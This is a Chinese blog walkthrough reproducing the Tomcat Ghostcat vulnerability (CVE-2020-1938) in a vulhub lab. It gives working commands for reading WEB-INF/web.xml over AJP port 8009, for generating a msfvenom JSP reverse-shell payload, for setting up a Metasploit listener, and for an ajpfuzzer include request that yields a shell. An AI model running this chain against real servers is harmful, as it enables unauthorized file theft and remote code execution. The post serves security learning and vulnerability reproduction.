首页 > 其他分享 >【CVE-2020-1938】Ghostcat 漏洞复现

【CVE-2020-1938】Ghostcat 漏洞复现

时间:2023-04-16 15:22:51浏览次数:52  
标签:文件 ma Tomcat ip Ghostcat jsp 2020 1938 png

0x00 漏洞概述

Java 是目前 Web 开发中主流的编程语言,而 Tomcat 是当前流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。

Ghostcat 是由长亭发现的存在于 Tomcat 中的漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

0x01 影响范围

Tomcat 9.x < 9.0.31
Tomcat 8.x < 8.5.51
Tomcat 7.x < 7.0.100
Tomcat 6.x

0x02 环境搭建(vulhub)

0x03 漏洞检测

8009端口开放ajp协议

# 获取poc
wget https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/archive/refs/heads/master.zip 
# 解压
unzip master.zip
# 执行poc
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 43.xx.xx.37 -p 8009 -f WEB-INF/web.xml

成功读取到了服务器的/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml文件

0x04 漏洞利用

安装msf

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall 
chmod 755 msfinstall 
./msfinstall

使用msf生成反弹shell的jsp马,因为是文件包含漏洞,所以文件类型不用管

msfvenom -p java/jsp_shell_reverse_tcp LHOST=[ip] LPORT=[port] R >ma.png

然后模仿网站的文件上传功能,把马放到网站目录里去

docker cp ma.png 1cf744b0f648:/usr/local/tomcat/webapps/ROOT/WEB-INF/

开启msf的监听

msfconsole # 进入msf
use exploit/multi/handler
show options
set payload java/jsp_shell_reverse_tcp
set lhost x.x.x.x
set lport x
exploit

然后又用刚才的脚本读取了一波服务器下存在的ma.png文件

发现读取成功了,但是msf那边却没有反应,难道是脚本的问题?只进行了文件读取,而不是文件包含吗。尝试变换思路,下载AJP包构造器ajpfuzzer

wget https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar

ok 下好了之后运行

java -jar ajpfuzzer_v0.6.jar

连接目标端口

connect [ip] [port]

构造发送AJP包的命令,[ip] [port] 为目标机器的ip和端口号,/WEB-INF/ma.png为上传的木马路径,11.jsp 可换做 *.jsp,任意网站目录下不存在的jsp文件,这样tomcat才会去调用DefaultServlet

forwardrequest 2 "HTTP/1.1" "/11.jsp" [ip] [ip] porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:11.jsp","javax.servlet.include.path_info:/WEB-INF/ma.png","javax.servlet.include.servlet_path:/"

发送ajp请求后,ma.png文件被tomcat作为jsp文件解析,成功getshell

0x05 参考

https://www.chaitin.cn/zh/ghostcat

https://mp.weixin.qq.com/s?__biz=MzUyNDk0MDQ3OQ==&mid=2247485009&idx=1&sn=5f619c27ec994949f5fa69d41d2dee05&chksm=fa24e381cd536a972db2cc5a5fc09be33a7833f1caa6440bb5979d3d7ea052384645fbd2b62c&mpshare=1&scene=23&srcid=&sharer_sharetime=1584439554350&sharer_shareid=1f92b9e8670fffeb7eea157894e3536a#rd

标签:文件,ma,Tomcat,ip,Ghostcat,jsp,2020,1938,png
From: https://www.cnblogs.com/yueyejian/p/17323314.html

相关文章

  • Exp 5 信息搜集与漏洞扫描—20201229赵斌
    Exp5信息搜集与漏洞扫描一、实践目标掌握信息搜集的最基础技能与常用工具的使用方法各种搜索技巧的应用DNSIP注册信息的查询基本的扫描技术:主机发现、端口扫描、OS及服务版本探测、具体服务的查点(以自己主机为目标)漏洞扫描:会扫,会看报告,会查漏洞说明,会修补漏洞(以自己主......
  • 2020计蒜之道预赛第二场-群星 题解
    题目描述蒜头君是一个P社玩家,每天从计蒜客下班回家之后的第一件事情就是打开《群星》,开始继续他的第四天灾之旅。这次他把注意力集中到了银河市场里面。银河市场里面商品的价格都通过以下公式计算:$$P=B*basePrice/S$$$$price=\displaystyle\frac{buy}{sell}*base......
  • [PA 2020] Trzy drogi
    pjudge题解虽然写了,但可能是bot写的,写的很不清楚。根据经典做法,搜出一棵dfs树,对非树边赋随机权值,树边权值为跨过它的所有非树边的权值xor。那割三条边能割开的条件就是:选三条边的一个子集,这个子集中的边权xor为0。也就是存在\(w_i=0\)或\(w_i\oplusw_j=0\)......
  • 邮箱密码-2020模拟
    【题目描述】小明的电子邮箱密码忘记了。请你帮他找出密码。他零星记得密码的信息如下:1)密码是六位数字,前面两位是31;2)最后两位数字相同;3)能被16和46整除;请你找出所有可能的密码并统计个数。【评分标准】30分︰正确打印出一组符合的六位数(程序不报错);80分∶在满足30基础......
  • 输出偶数-2020真题
    【题目描述】输入一个正整数(N),将1-N之间的偶数输出。输入样例:(以下提示信息是程序输出内容)输入一个正整数(N):10输出样例:2468评分标准6分:能正确输出一组数据6分:能正确输出两组数据6分:能正确输出三组数据n=int(input())foriinrange(2,......
  • SystemVerilog 断言 (SVA) 与 Xilinx Vivado 2020
    SystemVerilog断言(SVA)与XilinxVivado2020.1来自前Amazon招聘经理的系统设计面试内幕贴士——外加6次模拟面试练习!课程英文名:SystemVerilogAssertions(SVA)withXilinxVivado2020.1此视频教程共5.22GB,中英双语字幕,画质清晰无水印,源码附件全课程地址:https://x......
  • 网络对抗实验四 恶意代码分析--20201313
    Exp4恶意代码分析目录Exp4恶意代码分析一、实践基础1、实践目的2、实践内容3、实践原理二、实践内容系统运行监控(1)使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里。运行一段时间并分析该文件,综述分析结果。(2)安装配置sysinternals里的sysmon工具,设......
  • Exp4 恶意代码分析 实验报告—20201229赵斌
    Exp4恶意代码分析实验报告—20201229赵斌一、实验目标1.监控自己系统的运行状态,看有没有可疑的程序在运行。2.分析一个恶意软件,就分析Exp2或Exp3中生成后门软件;分析工具尽量使用原生指令或sysinternals,systracer套件。3.假定将来工作中你觉得自己的主机有问题,就可以用实验......
  • P8712 [蓝桥杯 2020 省 B1] 整数拼接
    P8712[蓝桥杯2020省B1]整数拼接https://www.luogu.com.cn/problem/P8712这题想多了一步。。不需要求逆元,因为最多9位数,所以直接\(O(10n)\)记录乘积的模值注意不能用map#include<bits/stdc++.h>#definelllonglongusingnamespacestd;constintN=1e5+5;ll......
  • Exp4-恶意代码分析 20202211王宏韬
    目录1.实验后回答问题(1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。(2)如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。2.实验总结与体会......